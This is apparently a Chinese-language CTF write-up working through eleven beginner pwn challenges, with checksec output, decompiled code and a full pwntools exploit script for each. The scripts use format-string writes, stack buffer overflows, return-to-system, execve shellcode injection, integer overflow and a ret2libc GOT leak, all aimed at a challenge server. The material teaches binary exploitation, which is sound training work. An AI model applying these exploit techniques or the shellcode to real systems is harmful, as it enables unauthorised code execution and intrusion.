0x00 get_shell
題目描述:運行就能拿到shell呢,真的
from pwn import * io = remote('111.198.29.45','36389') io.interactive()
0x01 CGfsb
題目描述:菜雞面對着pringf發愁,他不知道prinf除了輸出還有什么作用
1.基本信息:
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
2.ida查看偽代碼,按照題目的提示在主函數找到了printf函數,可以明顯的看到ptintf沒有按照標准格式 printf("<格式化字符串>", <參量表>) 書寫,存在格式化字符串漏洞,pwnme的值等於8的時候可以得到flag
puts("your message is:"); printf(&s); //漏洞點 if ( pwnme == 8 ) { puts("you pwned me, here is your flag:\n"); system("cat flag"); }
printf函數可以接受可變數量的參數,並將第一個參數作為格式化字符串,根據其來解析之后的參數,根據 C 語言的調用規則,格式化字符串函數會根據格式化字符串直接使用棧上自頂向上的變量作為其參數 (64 位會根據其傳參的規則進行獲取),具體可參考ctf-wiki上的在printf處下斷點調試。
我們發現pwnme在bss段也就是未手動初始化的數據
.bss:0804A068 public pwnme .bss:0804A068 pwnme dd ? ; DATA XREF: main+105↑r .bss:0804A068 _bss ends .bss:0804A068
3.思想:利用格式化字符串的漏洞,將pwnme改成8,就可以成功pwn掉程序
我們現在要做的就是需要知道相對偏移量,確定一下參數是 printf 將要輸出的第幾個參數
在printf處下斷點,name輸入aaaa,message輸入AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x。這里有12個%08x,%x是輸出16進制數據,08表示寬度為8,不足8為左邊按0補齊,12表示輸出12個參數。
leave your message please:
AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x
hello aaa
your message is:
可以看到棧上的數據被輸出了,AAAA在第10個位置
pwndbg> STACK 20 00:0000│ esp 0xffffcf60 —▸ 0xffffcf88 ◂— 0x41414141 ('AAAA') 01:0004│ 0xffffcf64 —▸ 0xffffcf7e ◂— 'aaa\n' 02:0008│ 0xffffcf68 —▸ 0xf7fb75a0 (_IO_2_1_stdin_) ◂— 0xfbad208b 03:000c│ 0xffffcf6c ◂— 0xf0b5ff 04:0010│ 0xffffcf70 —▸ 0xffffcfae ◂— 0x30252078 ('x %0') 05:0014│ 0xffffcf74 ◂— 0x1 06:0018│ 0xffffcf78 ◂— 0xc2 07:001c│ 0xffffcf7c ◂— 0x616156bb 08:0020│ 0xffffcf80 ◂— 0xa61 /* 'a\n' */ 09:0024│ 0xffffcf84 ◂— 0x0 0a:0028│ eax ebx 0xffffcf88 ◂— 0x41414141 ('AAAA')
%n的知識點:
%n:將%n之前printf已經打印的字符個數賦值給偏移處指針所指向的地址位置
4.構造exp
from pwn import *
io = remote('111.198.29.45','41061') payload = p32(0x0804A068) + 'aaaa' + '%10$n' io.sendlineafter('name:','aaa') io.sendlineafter('please:',payload) io.interactive()
0x02 when_did_you_born
1.基本信息:
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.ida分析偽代碼,v5不能輸入1926,v4輸入后v5是1926才能獲得flag
if ( v5 == 1926 ) { puts("You Cannot Born In 1926!"); result = 0LL; } else { puts("What's Your Name?"); gets(&v4); printf("You Are Born In %d\n", v5); if ( v5 == 1926 ) { puts("You Shall Have Flag."); system("cat flag"); }
查看v4和v5的地址,相對地址為8
-0000000000000020 v4 db ? -000000000000001F db ? ; undefined -000000000000001E db ? ; undefined -000000000000001D db ? ; undefined -000000000000001C db ? ; undefined -000000000000001B db ? ; undefined -000000000000001A db ? ; undefined -0000000000000019 db ? ; undefined -0000000000000018 v5 dd ?
3.棧溢出原理,v4輸入長度大於8會覆蓋v5的值
4.構造exp
from pwn import *
io = remote('111.198.29.45','52378') io.sendlineafter('Birth?','999') io.sendlineafter('Name?','a'*8 + p64(0x786)) io.interactive()
0x03 hello_pwn
1.基本信息:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.ida查看偽代碼,只要等式成立便可以獲得flag,而unk和dword在bss段距離為4
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { alarm(0x3Cu); setbuf(stdout, 0LL); puts("~~ welcome to ctf ~~ "); puts("lets get helloworld for bof"); read(0, &unk_601068, 0x10uLL); if ( dword_60106C == 1853186401 ) sub_400686(0LL, &unk_601068); return 0LL; }
.bss:0000000000601068 unk_601068 db ? ; ; DATA XREF: main+3B↑o .bss:0000000000601069 db ? ; .bss:000000000060106A db ? ; .bss:000000000060106B db ? ; .bss:000000000060106C dword_60106C dd ? ; DATA XREF: main+4A↑r .bss:000000000060106C _bss ends .bss:000000000060106C
3.簡單的棧溢出題目,構造exp
from pwn import *
io = remote('111.198.29.45','37812') io.sendline('a'*4 + p64(0x6e756161)) io.interactive()
0x04 level0
1.基本信息
Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.ida查看偽代碼,在vulnerable_function()函數發現read存在緩存區溢出
buf大小是80h,再加上ebp的8h,於是padding=136
ssize_t vulnerable_function() { char buf; // [rsp+0h] [rbp-80h] return read(0, &buf, 0x200uLL); }
然后發現callsystem函數里面有“/bin/sh”
int callsystem() { return system("/bin/sh"); }
3.基礎的rop原理,通過覆蓋返回地址,直接調用 callsystem("/bin/sh") 的代碼,就可以得到系統的 shell 了。payload = padding + ret
4.構造exp
from pwn import *
io = remote('111.198.29.45','30473') io.sendline('a'*136 + p64(0x000000000040059A)) io.interactive()
0x05 level2
1.基本信息:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.ida查看偽代碼,找到了read函數,存在棧溢出
ssize_t vulnerable_function() { char buf; // [esp+0h] [ebp-88h] system("echo Input:"); return read(0, &buf, 0x100u); }
3.找到了system函數,用 ROPgadget --binary level2 --string ’/bin/sh‘ 找到“/bin/sh“字符串,
但是“/bin/sh”沒有在system函數里面,於是需要構造偽棧幀通過調用system(“/bin/sh”)獲得shell,將buf的返回地址用system函數地址覆蓋,system函數的返回地址隨意填充
知乎上的這篇文章講ROP比較全面:https://zhuanlan.zhihu.com/p/25892385
4.構造exp
from pwn import *
io = remote('111.198.29.45','59037') bin_addr = 0x0804A024 sys_addr = 0x08048320 io.recvuntil('Input:') io.send('a'*140 + p32(sys_addr) + 'a'*4 + p32(bin_addr)) io.interactive()
0x06 guess_num
1.基本信息:
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.ida查看偽代碼,程序的意思是連續十次都猜對數字,然后告訴你flag
for ( i = 0; i <= 9; ++i ) { v7 = rand() % 6 + 1; printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1)); printf("Please input your guess number:"); __isoc99_scanf("%d", &v5); puts("---------------------------------"); if ( v5 != v7 ) { puts("GG!"); exit(1); } puts("Success!"); }
注意看有gets函數,這里存在棧溢出漏洞,查看地址v8和seed相距0x20
3.解這道題必須搞清楚一個知識:隨機數生成的原理
參考鏈接:https://www.jianshu.com/p/0bc6c65addfd
關於rand和srand
隨機函數生成的隨機數並不是真的隨機數,他們只是在一定范圍內隨機,實際上是一段數字的循環,這些數字取決於隨機種子。在調用rand()函數時,必須先利用srand()設好隨機數種子,如果未設隨機數種子,rand()在調用時會自動設隨機數種子為1。
關於ctype庫與dll
我們使用python標准庫中自帶的ctypes模塊進行python和c的混合編程
libc共享庫
可以使用ldd查找
總之,解着道題的思路是:我們指定一個隨機數的種子,即seed[0],然后在腳本中模擬隨機數生成,再將生成的數字輸入到程序中,那么就可以一直都能答對,在本題目中我們指定的seed[0]是1。
4.構造exp
from pwn import * from ctypes import * io = remote('111.198.29.45','45592') libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") payload = 'a'*32 + p64(1) io.sendlineafter('name:',payload) for i in range(10): io.sendlineafter('number:',str(libc.rand()%6 + 1)) io.interactive()
0x07 cgpwn2
1.基本信息:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.ida查看偽代碼,hello中存在gets函數,存在棧溢出漏洞,又能找到sysytem函數的地址
但是沒有找到‘/bin/sh’,可以將‘/bin/sh’寫到name里,bin/sh的地址就是name的地址,這里要注意\x00,這是一個轉義符,/bin/sh\x00是一個偽造的字符串表
3.慣用的套路,直接用溢出報錯,算出s大小加上ebp是42,具體原理參見level2
payload結構是:padding+sys_addr +'a'*4 + bin_addr
4.構造exp
from pwn import *
io = remote('111.198.29.45','34703') io.sendlineafter('name','/bin/sh\x00') io.sendlineafter('here:','a'*42 + p32(0x08048420) + 'aaaa' + p32(0x0804A080)) io.interactive()
0x08 string
1.基本信息:
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.ida看偽代碼,發現這條語句將v1強制轉化為函數指針類型,可以將shell寫到這里
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1) { void *v1; // rsi unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!"); puts("Dragon say: HaHa! you were supposed to have a normal"); puts("RPG game, but I have changed it! you have no weapon and "); puts("skill! you could not defeat me !"); puts("That's sound terrible! you meet final boss!but you level is ONE!"); if ( *a1 == a1[1] ) { puts("Wizard: I will help you! USE YOU SPELL"); v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL); read(0, v1, 0x100uLL); ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1); } return __readfsqword(0x28u) ^ v3; }
上面的判斷條件是a[0] == a[1]成立時,再逆推
發現是主函數的v4,v4 = (__int64)v3 ,且v3[0]=68,v3[1]=85,而且程序將v4的地址直接給出了
而看到sub_400BB9函數,很明顯有一個格式化字符串漏洞
3.這道題原理是繞過前面的一切判斷語句,到達v1的位置,寫入shell;
v3[0]的地址以及泄露出來了,我們可以利用上面發現的格式化字符串漏洞,將v3[0]改寫成85,這樣就可以到達v1的位置
4.構造exp
from pwn import *
io = remote('111.198.29.45','41410') io.recvuntil("secret[0] is ") v3_0_addr = int(io.recvuntil("\n")[:-1], 16) log.info("v3_0_addr:" + hex(v3_0_addr)) io.recvuntil("character's name be:") io.sendline("kk") io.recvuntil("east or up?:") io.sendline("east") io.recvuntil("there(1), or leave(0)?:") io.sendline("1") io.recvuntil("'Give me an address'") io.sendline(str(v3_0_addr)) io.recvuntil("you wish is:") io.sendline("%85c%7$n") shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" io.recvuntil("USE YOU SPELL") io.sendline(shellcode) io.interactive()
0x09 int_overflow
1.基本信息
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.ida查看偽代碼,存在read函數,有棧溢出漏洞,但是需要經過 check_passwd 函數才能將跳出login函數,發現system函數
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp+Ch] [ebp-Ch] setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); puts("---------------------"); puts("~~ Welcome to CTF! ~~"); puts(" 1.Login "); puts(" 2.Exit "); puts("---------------------"); printf("Your choice:"); __isoc99_scanf("%d", &v4); if ( v4 == 1 ) { login(); } else { if ( v4 == 2 ) { puts("Bye~"); exit(0); } puts("Invalid Choice!"); } return 0; }
再查看check_passwd函數,password必須是3到8位,v3范圍是0~255,超出會造成整數溢出
char *__cdecl check_passwd(char *s) { char *result; // eax char dest; // [esp+4h] [ebp-14h] unsigned __int8 v3; // [esp+Fh] [ebp-9h] v3 = strlen(s); if ( v3 <= 3u || v3 > 8u ) { puts("Invalid Password"); result = (char *)fflush(stdout); } else { puts("Success"); fflush(stdout); result = strcpy(&dest, s); } return result; }
3.進到else里,將 read 讀進來的 s 復制到 dest 中,是一個可以利用的棧溢出。dest距ebp是14h,再加上ebp的大小,所以需要24個padding填充;
s長度大於255,s溢出后返回地址覆蓋為what_is_this函數的地址,即可得到flag;
4.構造exp
from pwn import *
io = remote('111.198.29.45','32642') io.sendlineafter('Your choice:','1') io.sendlineafter('username:','aa') payload = "a"*24 + p32(0x804868b) payload = payload.ljust(259,"A") io.sendlineafter('passwd:',payload) io.interactive()
0x10 level3
1.基本信息:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.ida查看偽代碼,發現vulnerable_function()函數存在緩存區溢出漏洞,沒有找到system和“/bin/sh”
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h] write(1, "Input:\n", 7u); return read(0, &buf, 0x100u); }
參考地址:https://blog.csdn.net/cossack9989/article/details/79326659
發現開啟了所有保護,參照大佬的思路,大致思想為:libc里的地址是隨機的,但是函數的相對地址是不變的,於是只需要知道其中某一個函數的地址,再利用相對位移計算出我們所需要的函數的地址,如果知道read或write函數的地址就可以計算出其他函數的地址。
參照這位師傅的步驟,一步步嘗試
readelf -a ./libc-2.19.so |grep "read@"
readelf -a ./libc-2.19.so |grep "system@"
readelf -a ./libc-2.19.so |grep "exit@"
strings -a -t x ./libc-2.19.so | grep "/bin/sh"
這四條語句獲取函數的相對位置
950: 000daf60 125 FUNC WEAK DEFAULT 12 read@@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
16084c /bin/sh
3.構造exp
按參數順序構造輸入,write函數返回值設置為vul函數是為了再次調用read函數,來進行第二次攻擊,此次就是調用system函數。
exp如下(ps:本地可以執行,攻防世界遠程無法執行,可能是服務器的問題)
from pwn import *
io = process('./level3')
elf = ELF('./level3')
libc=ELF('./libc-2.19.so')
write_addr=elf.symbols['write']
vul_addr=elf.symbols['vulnerable_function']
got_addr=elf.got['write']
payload1="a"*140+p32(write_addr)+p32(vul_addr)+p32(1)+p32(got_addr)+p32(4) io.recvuntil("Input:\n") io.sendline(payload1) write_addr=u32(io.recv(4)) libc_write=libc.symbols['write'] libc_system=libc.symbols['system'] libc_sh=libc.search('/bin/sh').next() system_addr=write_addr-libc_write+libc_system sh_addr=write_addr-libc_write+libc_sh payload2='A'*140+p32(system_addr)+"aaaa"+p32(sh_addr) io.sendline(payload2) io.interactive()
參考鏈接:
手把手教你棧溢出從入門到放棄(上)https://zhuanlan.zhihu.com/p/25816426
手把手教你棧溢出從入門到放棄(下)https://zhuanlan.zhihu.com/p/25892385
ctf-wiki:https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/